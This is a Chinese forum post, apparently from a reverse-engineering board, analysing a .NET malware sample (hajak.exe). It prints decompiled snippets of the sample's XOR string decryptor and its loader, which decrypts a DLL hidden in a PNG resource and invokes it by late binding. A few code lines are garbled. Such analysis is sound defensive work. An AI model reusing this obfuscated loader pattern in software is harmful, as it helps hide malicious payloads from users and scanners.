.Net程序(一)
本帖最后由 Jack1024 于 2016-12-6 18:43 编辑Sha1: aa10bba53f80b1c94e08f1441e82e0241b7c8e21
MD5: 1e8b8a1c9c20c5906fbcb45c04193fb2
OriginalFilename: hajak.exe
File Size: 159744
File Type: .NET
使用工具:ILSpy和DnSpy
该样本首先会读取一个TestFile.txt文件,可是该文件不存在,然后抛出一个异常,连续两次这样操作,然后又是一个异常,我不知道它要干什么,看code。try
{
using (StreamReader streamReader = new StreamReader("TestFile.txt"))
{
string text = streamReader.ReadToEnd();
}
}
catch (Exception expr_24)
{
ProjectData.SetProjectError(expr_24);
Exception ex = expr_24;
str = "The file could not be read:";
str += ex.Message;
ProjectData.ClearProjectError();
}
不过反正也不影响,进行调试跟踪分析该程序。它会调用_Qf()方法。while (!_gca._Qf())
{
num++;
if (num > 5)
{
return;
}
}
开始进入正题了。try
{
_dRs._ZWk zWk = new _dRs._ZWk();
zWk._iRp();
result = true;
}
catch (Exception expr_11)
{
ProjectData.SetProjectError(expr_11);
result = false;
ProjectData.ClearProjectError();
}
首先会调用_ZWk()函数,在该函数中会通过解密函数会解密出一些函数名。_nzJ()函数是解密函数。this._rtb = new string[9];
this._kX = new string[7];
this._iw = new string[6];
this._bNs = new object[6];
this._nzo = new object[]
{
typeof(object),
typeof(byte[]),
typeof(string),
typeof(object[]),
typeof(Type)
};
this._rtb[0] = this._ZYd(this._nzJ(new byte[]
{
66,
116,
10,
20,
77,
28,
35,
28
}));
private byte[] _nzJ(byte[] _Zf)
{
byte[] bytes = Encoding.UTF8.GetBytes("n7qz0ds63EXPKAGkQ8Lwm4gZaSTciHWCfNpDJryMe9tY");
checked
{
byte[] array = new byte1 + 1];
byte b = _Zf1];
Array.Resize<byte>(ref array, array.Length - 1);
int arg_39_0 = 0;
int num = array.Length - 1;
for (int i = arg_39_0; i <= num; i++)
{
array1 - i] = (_Zf ^ b ^ bytes);
}
return array;
}
}
它会调用_LK()函数从资源中获取Png资源,这个资源可不是什么好图片,这是个被加密的图片资源,它也需要通过解密函数进行解密,所以我们在解密完之后运行之前,把该解密完的数据Dump出来。private UnmanagedMemoryStream _LK()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
checked
{
for (int i = 0; i < manifestResourceNames.Length; i++)
{
string text = manifestResourceNames;
if (Operators.CompareString(text, "ow.Png", false) == 0)
{
return (UnmanagedMemoryStream)executingAssembly.GetManifestResourceStream(text);
}
}
UnmanagedMemoryStream result;
return result;
}
}
在下面地方下断点,然后把解密完的资源dump出来。你就会知道,原来里面是一个dll资源,可是不要高兴的太早了,还得继续脱啊。return NewLateBinding.LateGet(null, typeof(Versioned), this._kX, new object[]
{
RuntimeHelpers.GetObjectValue(objectValue),
this._kX,
CallType.Method,
new object[]
{
RuntimeHelpers.GetObjectValue(objectValue),
new object[]
{
this._nzJ(this._pgc()),
"K.K",
"p",
new object
}
}
}, null, null, null);
解密出来的资源,如图片所示。
待续》》》》 图片好像没有上传成功? Hmily 发表于 2016-12-5 10:39
图片好像没有上传成功?
怎么修改这个帖子啊,难道需要重新发新帖吗?求助{:1_906:} Jack1024 发表于 2016-12-5 20:40
怎么修改这个帖子啊,难道需要重新发新帖吗?求助
帖子左下角就有编辑按钮。 很详细。期待继续。期待看看在.net方面,高手们的一加一解过招。
页:
[1]